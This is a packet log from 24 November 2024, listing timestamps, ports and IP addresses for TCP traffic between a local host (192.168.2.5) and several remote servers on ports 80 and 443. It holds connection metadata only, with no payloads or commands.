Nov 24, 2024 10:24:24.971014977 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.972897053 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.972996950 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.973038912 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.974977016 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.975017071 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.975078106 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.977257967 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.977449894 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.977490902 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.979002953 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.979113102 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.979154110 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.981076002 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.981116056 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.981316090 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.983088970 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.983130932 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.983175993 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.985095024 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.985146999 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.985203028 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.985613108 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:24.987162113 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.987224102 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.987250090 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.987773895 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:24.987792015 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:24.988241911 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:24.988246918 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:24.989170074 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.989289045 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.989340067 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.991210938 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.991321087 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.991369963 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.993269920 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.993323088 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.993360043 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.995281935 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.995327950 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.995352983 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.997327089 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.997423887 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:24.997473001 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:24.999341011 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.000447035 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.004723072 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.004848957 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.004956961 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.008987904 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.009124041 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.009279966 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.017276049 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.017343044 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.018368006 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.019011021 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.019020081 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.019627094 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.019635916 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.099206924 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.099281073 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.099359035 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.099895954 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.100075960 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.100131989 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.101768970 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.101891041 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.101938963 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.103013992 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.103096008 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.103141069 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.104073048 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.104193926 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.104814053 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.105338097 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.105551958 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.106172085 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.106736898 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.106853962 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.106900930 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.108037949 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.108198881 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.108257055 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.109479904 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.109620094 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.109666109 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.110809088 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.110891104 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.112155914 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.112205029 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.112241983 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.113379955 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.113452911 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.113465071 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.113507986 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.114625931 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.114696980 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.114742994 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.115925074 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.116003036 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.116050005 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.117319107 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.117331028 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.117371082 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.118499994 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.118645906 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.119851112 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.119863987 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.119898081 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.119932890 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.121274948 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.121448040 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.121495008 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.122628927 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.122723103 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.122770071 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.124007940 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.124196053 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.124242067 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.125422001 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.125505924 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.125550985 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.126401901 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.126487017 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.126995087 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.127649069 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.127695084 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.127742052 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.128722906 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.128735065 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.128779888 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.129844904 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.129954100 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.130007982 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.131112099 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.131200075 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.131247997 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.132361889 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.132422924 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.132469893 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.133609056 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.133713961 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.133765936 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.134891987 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.134987116 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.135036945 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.136137009 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.136229992 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.136270046 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.137362957 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.137506008 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.137557983 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.138921022 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.138936043 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.138986111 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.139898062 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.139995098 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.140083075 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.141177893 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.141360998 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.141438007 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.142452955 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.142668962 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.142715931 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.143709898 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.143857002 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.143906116 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.144987106 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.145068884 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.145159960 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.146183014 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.146327019 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.146375895 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.147495985 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.147599936 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.147674084 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.149034977 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.149487972 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.149539948 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.150408983 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.150496960 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.150573015 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.151453018 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.151575089 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.151627064 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.152920961 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.152985096 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.153093100 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.153913021 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.154010057 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.154095888 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.155066013 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.155122042 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.155230045 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.156241894 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.156383038 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.156434059 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.157603025 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.157674074 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.157773972 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.158857107 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.158983946 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.159033060 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.160057068 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.160170078 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.160226107 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.161295891 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.161417007 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.161464930 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.162539959 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.162664890 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.162713051 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.163758993 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.164386988 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.164433002 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.164992094 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.165124893 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.165180922 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.166353941 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.212716103 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.217791080 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.217860937 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.217905045 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.217998981 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.221539021 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.221641064 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.222964048 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.223037958 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.223086119 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.223135948 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.230576992 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.230648994 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.230690002 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.230741978 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.238168955 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.238265038 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.238401890 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.238507986 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.245786905 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.245878935 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.245980024 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.253369093 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.253449917 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.253492117 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.253552914 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.261009932 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.261048079 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.261084080 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.261084080 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.268604040 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.268714905 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.268722057 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.268790960 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.276211023 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.276266098 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.276293039 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.276309967 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.283830881 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.283910036 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.283937931 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.283977032 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.285233021 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.285831928 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.285852909 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.286555052 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.286562920 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.291466951 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.291527987 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.291564941 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.291683912 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.299105883 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.299173117 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.299288034 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.299377918 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.306689978 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.306782007 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.306793928 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.306827068 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.306827068 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.306866884 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.306921005 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.307580948 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.307722092 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.307766914 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.308417082 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.308577061 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.308623075 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.309561968 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.309689045 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.309736967 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.310653925 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.310667038 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.310705900 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.311723948 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.311839104 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.311883926 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.312880993 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.312963963 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.312994003 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.313942909 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.313955069 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.313987970 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.314990044 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.315116882 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.315160036 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.316157103 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.316194057 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.316231966 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.317171097 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.317298889 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.317347050 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.318027020 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.318469048 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.318481922 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.318521976 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.319403887 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.319483042 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.319519997 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.320427895 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.320564985 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.320607901 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.321244001 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.321281910 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.321288109 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.321326017 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.321377039 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.321389914 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.321398973 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.321403027 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.321568012 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.321600914 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.321640015 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.322649002 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.322705030 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.322741032 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.323945045 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.323957920 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.324002028 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.324527025 CET	49847	443	192.168.2.5	13.107.246.63
